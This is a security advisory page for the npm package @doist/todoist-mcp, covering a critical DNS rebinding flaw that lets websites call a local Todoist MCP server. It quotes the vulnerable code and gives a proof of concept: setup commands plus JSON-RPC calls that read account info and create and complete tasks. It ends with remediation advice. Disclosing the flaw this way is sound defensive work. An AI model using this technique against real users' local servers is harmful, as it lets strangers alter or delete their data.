Vulnerabilities in pkg:npm/@doist/todoist-mcp

PACKAGE
Advisory Identifier: GHSA-833v-v58w-294h
Advisory Summary

CVE-2026-76807 is a CRITICAL (CVSS 9.3) browser dns rebinding lets websites vulnerability (CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action) affecting Todoist MCP Server libraries in the npm ecosystem. The issue involves browser dns rebinding lets websites write and delete todoist data through local mcp server. Remediation is available by upgrading affected packages to version 10.3.3.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@doist/todoist-mcp

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@doist/todoist-mcp. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-833v-v58w-294h CVE-2026-76807 CRITICAL Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server

CVE-2026-76807 at a Glance

CVE Identifier CVE-2026-76807
GHSA Identifier GHSA-833v-v58w-294h
Severity CRITICAL
CVSS v3.1 Base Score 9.3
CWE Classification CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action
Affected Product Todoist MCP Server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-76807

To remediate this vulnerability, upgrade all affected Todoist MCP Server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@doist/todoist-mcp fixed: 10.3.3
npm install @doist/todoist-mcp@10.3.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @doist/todoist-mcp

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-76807, inspect your project dependencies using npm:

npm ls @doist/todoist-mcp

Analyze the terminal output to locate any version of Todoist MCP Server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.3.3), your application is affected.

Note: The npm ls @doist/todoist-mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action, where the product performs reverse dns resolution on an ip address to obtain the hostname and make a security decision, but it does not properly ensure that the ip address is truly associated with the hostname. In Todoist MCP Server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The self-hosted `todoist-mcp-http` server accepts browser-origin MCP requests with attacker-controlled `Host` and `Origin` headers. A malicious website can use DNS rebinding to route its own origin to a victim's local `127.0.0.1` MCP server, then invoke Todoist MCP tools without a caller credential. This affects `github.com/Doist/todoist-mcp` at commit `d2903e0d945d2a559d71c091337ad6380511e62f`, package version `10.3.1`, when the optional Streamable HTTP server is running. The stdio entrypoint is not browser-reachable. The vulnerable browser-reachable component is `todoist-mcp-http`. The documented HTTP server mode runs all MCP tools with the operator's `TODOIST_API_KEY` and binds to loopback by default: ```bash TODOIST_API_KEY=your-key npx -p @doist/todoist-mcp todoist-mcp-http ``` `src/main-http.ts:28-30` sets the HTTP bind host and port: ```ts const PORT = Number.parseInt(process.env.PORT || '3000', 10) const HOST = process.env.HOST || '127.0.0.1' const LISTEN_HOST = normalizeListenHost(HOST) ``` `src/main-http.ts:88-99` dispatches `POST /mcp` to `StreamableHTTPServerTransport` without validating `Host` or `Origin`: ```ts app.post( '/mcp', requireValidTodoistToken({ type: 'static', apiKey: todoistApiKey, baseUrl }), async (req: Request, res: Response) => { const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, }) const server = getMcpServer({ todoistApiKey, baseUrl }) await server.connect(transport) await transport.handleRequest(req, res, req.body) }, ) ``` `src/middleware/require-valid-todoist-token.ts:105-117` validates the configured server-side Todoist token and then forwards the request. It does not authenticate the browser caller: ```ts const valid = await getValidation() if (valid) { next() return } ``` `src/mcp-server.ts:215-285` registers Todoist read and write tools against the server-side Todoist API client, including `add-tasks`, `complete-tasks`, `update-tasks`, `delete-object`, comments, reminders, labels, filters, goals, and assignments. ## Proof of concept Start the upstream local HTTP server with an operator-owned Todoist test account: ```bash git clone https://github.com/Doist/todoist-mcp.git cd todoist-mcp git checkout d2903e0d945d2a559d71c091337ad6380511e62f npm ci --ignore-scripts npm run build export TODOIST_API_KEY='<Todoist test account API token>' PORT=8082 HOST=127.0.0.1 node dist/main-http.js ``` The server prints: ```text Todoist MCP HTTP Server started on 127.0.0.1:8082 MCP endpoint: http://127.0.0.1:8082/mcp ``` From a browser page using DNS rebinding, route the attacker origin to `127.0.0.1:8082` and send MCP JSON-RPC requests to `POST /mcp`. First enumerate tools. The rebound browser session can list Todoist write tools such as `add-tasks` and `complete-tasks`. Call `user-info`: ```json { "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "user-info", "arguments": {} } } ``` Observed result: the response returns the Todoist account tied to the server-held `TODOIST_API_KEY`. Create a disposable task: ```json { "jsonrpc": "2.0", "id": 4, "method": "tools/call", "params": { "name": "add-tasks", "arguments": { "tasks": [ { "content": "DNS REBINDING DEMO - attacker-created task", "description": "Created through browser-origin DNS rebinding against local todoist-mcp-http.", "priority": "p1", "dueString": "today" } ] } } } ``` Observed result: Todoist creates the task and the MCP response returns the new task ID. Complete the same task: ```json { "jsonrpc": "2.0", "id": 5, "method": "tools/call", "params": { "name": "complete-tasks", "arguments": { "ids": [ "<RETURNED_TASK_ID>" ] } } } ``` Observed result: the MCP response returns `successCount: 1`, and the Todoist UI shows the same task completed. [demo video](https://drive.google.com/file/d/1zfgYQS-vbi1zc8N2JayShtwBCZbN-doG/view) ## Impact A public website can operate a victim's local `todoist-mcp-http` server when the optional HTTP transport is running. The browser does not supply a Todoist API token. The MCP server supplies its configured `TODOIST_API_KEY`. The demonstrated impact is Todoist task creation and completion. The same browser-origin path exposes the rest of the registered Todoist write surface, including task updates, task rescheduling, project and section changes, comments, reminders, filters, labels, goals, assignments, and object deletion. This violates the browser-origin boundary. A user can run the MCP server only on loopback and still become reachable from an unrelated public website because DNS rebinding preserves the attacker's `Host` and `Origin` while routing the TCP connection to `127.0.0.1`. ## Why this is a vulnerability - The default HTTP bind target is loopback, which users reasonably treat as local-only. - DNS rebinding makes loopback HTTP reachable from a public website unless the server validates `Host` and `Origin`. - The MCP route does not require a per-request caller secret. - The middleware validates the server's Todoist backend token, not the browser caller. - Tool execution uses the server-held `TODOIST_API_KEY` to mutate Todoist state. ## Remediation Add strict `Host` validation before MCP dispatch. For local deployments, accept only explicit loopback hostnames such as `127.0.0.1`, `localhost`, `[::1]`, and any operator-configured trusted names. Reject browser requests with missing or untrusted `Origin` values before they reach `StreamableHTTPServerTransport`. Require a per-run local bearer token or equivalent caller secret for HTTP MCP mode, including loopback deployments. Host and Origin validation reduce DNS-rebinding exposure, but they are not caller authentication. Enable DNS rebinding protection in the MCP SDK HTTP transport if available, and pass explicit allowed host and origin lists. Keep stdio as the safest default local transport. ## Reporter Avishai Gonen - Pluto Security

CVE-2026-76807 Affected Todoist MCP Server Versions

1 component(s)
Fixed Versions:
10.3.3
Product / Package Ecosystem Affected Versions Fixed Version
@doist/todoist-mcp
npm
< 10.3.3
10.3.3

References

Frequently Asked Questions

What is CVE-2026-76807?
CVE-2026-76807 is a security vulnerability in Todoist MCP Server involving Browser DNS rebinding lets websites write and delete Todoist data through local MCP server under CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action.
Which Todoist MCP Server versions are affected?
Affected versions include releases prior to 10.3.3 across affected packages: @doist/todoist-mcp.
What version fixes CVE-2026-76807?
Upgrading to 10.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @doist/todoist-mcp affected?
Yes, @doist/todoist-mcp is affected in releases prior to 10.3.3. Upgrade your dependency to 10.3.3 or later.
What is the CVSS score of CVE-2026-76807?
CVE-2026-76807 has a CVSS v3.1 base score of 9.3 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-76807?
CVE-2026-76807 is classified under CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.).
How can I check npm dependencies for CVE-2026-76807?
Run the dependency tree command: 'npm ls @doist/todoist-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-833v-v58w-294h",
  "modified" : "2026-11-19T20:38:35Z",
  "published" : "2026-11-19T20:38:35Z",
  "aliases" : [ "CVE-2026-76807" ],
  "summary" : "Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server",
  "details" : "The self-hosted `todoist-mcp-http` server accepts browser-origin MCP requests with attacker-controlled `Host` and `Origin` headers. A malicious website can use DNS rebinding to route its own origin to a victim's local `127.0.0.1` MCP server, then invoke Todoist MCP tools without a caller credential.\n\nThis affects `github.com/Doist/todoist-mcp` at commit `d2903e0d945d2a559d71c091337ad6380511e62f`, package version `10.3.1`, when the optional Streamable HTTP server is running. The stdio entrypoint is not browser-reachable. The vulnerable browser-reachable component is `todoist-mcp-http`.\n\nThe documented HTTP server mode runs all MCP tools with the operator's `TODOIST_API_KEY` and binds to loopback by default:\n\n```bash\nTODOIST_API_KEY=your-key npx -p @doist/todoist-mcp todoist-mcp-http\n```\n\n`src/main-http.ts:28-30` sets the HTTP bind host and port:\n\n```ts\nconst PORT = Number.parseInt(process.env.PORT || '3000', 10)\nconst HOST = process.env.HOST || '127.0.0.1'\nconst LISTEN_HOST = normalizeListenHost(HOST)\n```\n\n`src/main-http.ts:88-99` dispatches `POST /mcp` to `StreamableHTTPServerTransport` without validating `Host` or `Origin`:\n\n```ts\napp.post(\n    '/mcp',\n    requireValidTodoistToken({ type: 'static', apiKey: todoistApiKey, baseUrl }),\n    async (req: Request, res: Response) => {\n        const transport = new StreamableHTTPServerTransport({\n            sessionIdGenerator: undefined,\n        })\n\n        const server = getMcpServer({ todoistApiKey, baseUrl })\n        await server.connect(transport)\n        await transport.handleRequest(req, res, req.body)\n    },\n)\n```\n\n`src/middleware/require-valid-todoist-token.ts:105-117` validates the configured server-side Todoist token and then forwards the request. It does not authenticate the browser caller:\n\n```ts\nconst valid = await getValidation()\n\nif (valid) {\n    next()\n    return\n}\n```\n\n`src/mcp-server.ts:215-285` registers Todoist read and write tools against the server-side Todoist API client, including `add-tasks`, `complete-tasks`, `update-tasks`, `delete-object`, comments, reminders, labels, filters, goals, and assignments.\n\n## Proof of concept\n\nStart the upstream local HTTP server with an operator-owned Todoist test account:\n\n```bash\ngit clone https://github.com/Doist/todoist-mcp.git\ncd todoist-mcp\ngit checkout d2903e0d945d2a559d71c091337ad6380511e62f\nnpm ci --ignore-scripts\nnpm run build\n\nexport TODOIST_API_KEY='<Todoist test account API token>'\nPORT=8082 HOST=127.0.0.1 node dist/main-http.js\n```\n\nThe server prints:\n\n```text\nTodoist MCP HTTP Server started on 127.0.0.1:8082\nMCP endpoint: http://127.0.0.1:8082/mcp\n```\n\nFrom a browser page using DNS rebinding, route the attacker origin to `127.0.0.1:8082` and send MCP JSON-RPC requests to `POST /mcp`.\n\nFirst enumerate tools. The rebound browser session can list Todoist write tools such as `add-tasks` and `complete-tasks`.\n\nCall `user-info`:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 3,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"user-info\",\n    \"arguments\": {}\n  }\n}\n```\n\nObserved result: the response returns the Todoist account tied to the server-held `TODOIST_API_KEY`.\n\nCreate a disposable task:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 4,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"add-tasks\",\n    \"arguments\": {\n      \"tasks\": [\n        {\n          \"content\": \"DNS REBINDING DEMO - attacker-created task\",\n          \"description\": \"Created through browser-origin DNS rebinding against local todoist-mcp-http.\",\n          \"priority\": \"p1\",\n          \"dueString\": \"today\"\n        }\n      ]\n    }\n  }\n}\n```\n\nObserved result: Todoist creates the task and the MCP response returns the new task ID.\n\nComplete the same task:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 5,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"complete-tasks\",\n    \"arguments\": {\n      \"ids\": [\n        \"<RETURNED_TASK_ID>\"\n      ]\n    }\n  }\n}\n```\n\nObserved result: the MCP response returns `successCount: 1`, and the Todoist UI shows the same task completed.\n\n[demo video](https://drive.google.com/file/d/1zfgYQS-vbi1zc8N2JayShtwBCZbN-doG/view)\n\n## Impact\n\nA public website can operate a victim's local `todoist-mcp-http` server when the optional HTTP transport is running. The browser does not supply a Todoist API token. The MCP server supplies its configured `TODOIST_API_KEY`.\n\nThe demonstrated impact is Todoist task creation and completion. The same browser-origin path exposes the rest of the registered Todoist write surface, including task updates, task rescheduling, project and section changes, comments, reminders, filters, labels, goals, assignments, and object deletion.\n\nThis violates the browser-origin boundary. A user can run the MCP server only on loopback and still become reachable from an unrelated public website because DNS rebinding preserves the attacker's `Host` and `Origin` while routing the TCP connection to `127.0.0.1`.\n\n## Why this is a vulnerability\n\n- The default HTTP bind target is loopback, which users reasonably treat as local-only.\n- DNS rebinding makes loopback HTTP reachable from a public website unless the server validates `Host` and `Origin`.\n- The MCP route does not require a per-request caller secret.\n- The middleware validates the server's Todoist backend token, not the browser caller.\n- Tool execution uses the server-held `TODOIST_API_KEY` to mutate Todoist state.\n\n## Remediation\n\nAdd strict `Host` validation before MCP dispatch. For local deployments, accept only explicit loopback hostnames such as `127.0.0.1`, `localhost`, `[::1]`, and any operator-configured trusted names.\n\nReject browser requests with missing or untrusted `Origin` values before they reach `StreamableHTTPServerTransport`.\n\nRequire a per-run local bearer token or equivalent caller secret for HTTP MCP mode, including loopback deployments. Host and Origin validation reduce DNS-rebinding exposure, but they are not caller authentication.\n\nEnable DNS rebinding protection in the MCP SDK HTTP transport if available, and pass explicit allowed host and origin lists. Keep stdio as the safest default local transport.\n\n## Reporter\n\nAvishai Gonen - Pluto Security",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@doist/todoist-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.3.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 10.3.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Doist/todoist-mcp/security/advisories/GHSA-833v-v58w-294h"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/todoist/todoist-mcp/security/advisories/GHSA-833v-v58w-294h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-76807"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/todoist/todoist-mcp/pull/516"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/todoist/todoist-mcp/commit/245bf29cf5dbd8272e2aa896ad38557f91f8a16a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Doist/todoist-mcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/todoist/todoist-mcp/releases/tag/v10.3.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-346", "CWE-350" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-19T20:38:35Z",
    "nvd_published_at" : "2026-11-18T20:19:13Z"
  }
}